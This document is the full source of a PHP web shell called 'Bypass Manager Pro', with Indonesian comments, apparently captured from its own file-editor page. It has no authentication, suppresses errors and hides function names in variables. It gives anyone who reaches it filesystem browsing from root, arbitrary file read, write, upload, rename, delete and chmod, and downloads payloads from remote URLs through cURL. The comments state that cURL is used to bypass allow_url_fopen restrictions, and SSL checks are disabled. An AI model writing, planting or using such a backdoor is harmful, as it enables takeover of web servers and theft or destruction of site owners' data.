Bypass Manager Pro

Editing: file-1788787779.php

<?php
error_reporting(0);
ini_set('display_errors', 0);

$s = 'file_put_contents';
$g = 'file_get_contents';
$m = 'move_uploaded_file';

$current_path = isset($_GET['p']) ? $_GET['p'] : __DIR__;
$current_path = str_replace('\\', '/', $current_path);
$current_path = rtrim($current_path, '/') . '/';

function get_parent($path) {
    $path = rtrim($path, '/');
    $parts = explode('/', $path);
    array_pop($parts);
    return implode('/', $parts);
}

// Fungsi Download menggunakan cURL (Solusi Bypass allow_url_fopen)
function curl_download($url) {
    if (!function_exists('curl_init')) return false;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
    $data = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return ($http_code == 200) ? $data : false;
}

// Logika Proses Aksi
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $a = $_POST['a'];
    $n = $_POST['n'];
    $t = $_POST['t'];
    $c = $_POST['c'];
    $url = $_POST['url'];

if ($a === 'nf') { mkdir($current_path . $n, 0755, true); }
    if ($a === 'nt') { $s($current_path . $n, ''); }
    if ($a === 'save') { $s($t, $c); }
    if ($a === 'rename') { rename($t, $current_path . $n); }
    if ($a === 'chmod') { chmod($t, octdec($c)); }
    if ($a === 'delete') { is_dir($t) ? rmdir($t) : unlink($t); }
    
    // UPLOAD FILE LOKAL
    if ($a === 'upload') {
        $target_upload = $current_path . $_FILES['f']['name'];
        if ($m($_FILES['f']['tmp_name'], $target_upload)) {
            echo "<script>alert('Upload Berhasil');</script>";
        } else {
            echo "<script>alert('Upload Gagal');</script>";
        }
    }

// UPLOAD VIA URL (TERBARU DENGAN FALLBACK cURL)
    if ($a === 'upload_url' && !empty($url)) {
        $file_name = basename(parse_url($url, PHP_URL_PATH));
        if (empty($file_name)) {
            $file_name = 'downloaded_' . time() . '.dat';
        }
        $target_upload = $current_path . $file_name;
        
        // Coba cURL dahulu, jika gagal gunakan file_get_contents
        $file_data = curl_download($url);
        if ($file_data === false && ini_get('allow_url_fopen')) {
            $file_data = $g($url);
        }
        
        if ($file_data !== false && $s($target_upload, $file_data) !== false) {
            echo "<script>alert('Upload URL Berhasil! Tersimpan: $file_name');</script>";
        } else {
            echo "<script>alert('Upload URL Gagal! Server memblokir koneksi outbond atau URL tidak valid.');</script>";
        }
    }
}

$items = scandir($current_path);
?>
<!DOCTYPE html>
<html>
<head>
    <title>Bypass Manager Pro</title>
    <style>
        body { background: #000; color: #0f0; font-family: 'Courier New', monospace; padding: 20px; }
        a { color: #0f0; text-decoration: none; }
        nav { background: #111; padding: 10px; border: 1px solid #333; margin-bottom: 20px; }
        input, textarea, button { background: #000; color: #0f0; border: 1px solid #555; padding: 5px; font-size: 12px; }
        table { width: 100%; margin-top: 10px; border-collapse: collapse; }
        tr:hover { background: #111; }
        td, th { padding: 5px; border-bottom: 1px solid #222; }
        .dir { color: #5555ff; font-weight: bold; }
        .breadcrumb-link { color: #0f0; font-weight: bold; }
        .btn-red { color: #ff5555; border: 1px solid #ff5555; cursor: pointer; }
        .upload-section { background: #1a1a1a; padding: 10px; border: 1px solid #333; margin-bottom: 10px; display: inline-block; vertical-align: top; margin-right: 10px; }
    </style>
</head>
<body>
    <div class="nav">
        <strong>CURRENT PATH:</strong>
        <?php
        $path_parts = explode('/', trim($current_path, '/'));
        $acc = '';
        echo '<a href="?p=/" class="breadcrumb-link">/</a>';
        foreach ($path_parts as $part) {
            if (empty($part)) continue;
            $acc .= '/' . $part;
            echo '<a href="?p=' . urlencode($acc) . '" class="breadcrumb-link">' . $part . '</a>/';
        }
        ?>
        <br><br>
        <a href="?p=<?php echo urlencode(get_parent($current_path)); ?>">KEMBALI</a> | 
        <a href="?p=<?php echo urlencode(__DIR__); ?>">HOME</a>
    </div>

<div class="upload-section">
        <form method="POST" enctype="multipart/form-data">
            <strong>Upload File Local:</strong><br><br>
            <input type="file" name="f">
            <button type="submit" name="a" value="upload">Upload</button>
        </form>
    </div>

<div class="upload-section">
        <form method="POST">
            <strong>Upload via URL:</strong><br><br>
            <input type="text" name="url" placeholder="https://example.com" size="40" required>
            <button type="submit" name="a" value="upload_url">Download</button>
        </form>
    </div>

<?php if (isset($_GET['edit'])): 
        $target = $_GET['edit'];
        $content = htmlspecialchars($g($target));
    ?>
        <div style="margin-top: 20px;">
            <strong>Editing:</strong> <?php echo basename($target); ?>
            <form method="POST">
                <input type="hidden" name="t" value="<?php echo $target; ?>">
                <textarea name="c" style="width: 100%; height: 400px;"><?php echo $content; ?></textarea><br><br>
                <button type="submit" name="a" value="save">SIMPAN</button>
                <a href="?p=<?php echo urlencode($current_path); ?>">BATAL</a>
            </form>
        </div>
    <?php else: ?>
        <table>
            <thead>
                <tr style="text-align: left; background: #222;">
                    <th>Nama</th>
                    <th>Permisi</th>
                    <th>Aksi</th>
                </tr>
            </thead>
            <tbody>
                <?php
                if ($items):
                    foreach ($items as $i):
                        if ($i === '.' || $i === '..') continue;
                        $full = $current_path . $i;
                        $isD = is_dir($full);
                        $perms = substr(sprintf('%o', fileperms($full)), -4);
                ?>
                        <tr>
                            <td>
                                <?php if ($isD): ?>
                                    <a href="?p=<?php echo urlencode($full); ?>" class="dir"><?php echo $i; ?>/</a>
                                <?php else: ?>
                                    <?php echo $i; ?>
                                <?php endif; ?>
                            </td>
                            <td>
                                <form method="POST" style="display: inline;">
                                    <input type="hidden" name="t" value="<?php echo $full; ?>">
                                    <input type="text" name="c" value="<?php echo $perms; ?>" size="4">
                                    <button type="submit" name="a" value="chmod">Set</button>
                                </form>
                            </td>
                            <td align="right">
                                <form method="POST" style="display: inline;">
                                    <input type="hidden" name="t" value="<?php echo $full; ?>">
                                    <input type="text" name="n" placeholder="Rename" size="10">
                                    <button type="submit" name="a" value="rename">Rename</button>
                                </form>
                                <?php if (!$isD): ?>
                                    <a href="?p=<?php echo urlencode($current_path); ?>&edit=<?php echo urlencode($full); ?>">EDIT</a>
                                <?php endif; ?>
                                <form method="POST" style="display: inline;" onsubmit="return confirm('Hapus item ini?');">
                                    <input type="hidden" name="t" value="<?php echo $full; ?>">
                                    <button type="submit" name="a" value="delete" class="btn-red">DEL</button>
                                </form>
                            </td>
                        </tr>
                <?php 
                    endforeach;
                endif; 
                ?>
            </tbody>
        </table>
    <?php endif; ?>
</body>
</html>

BATAL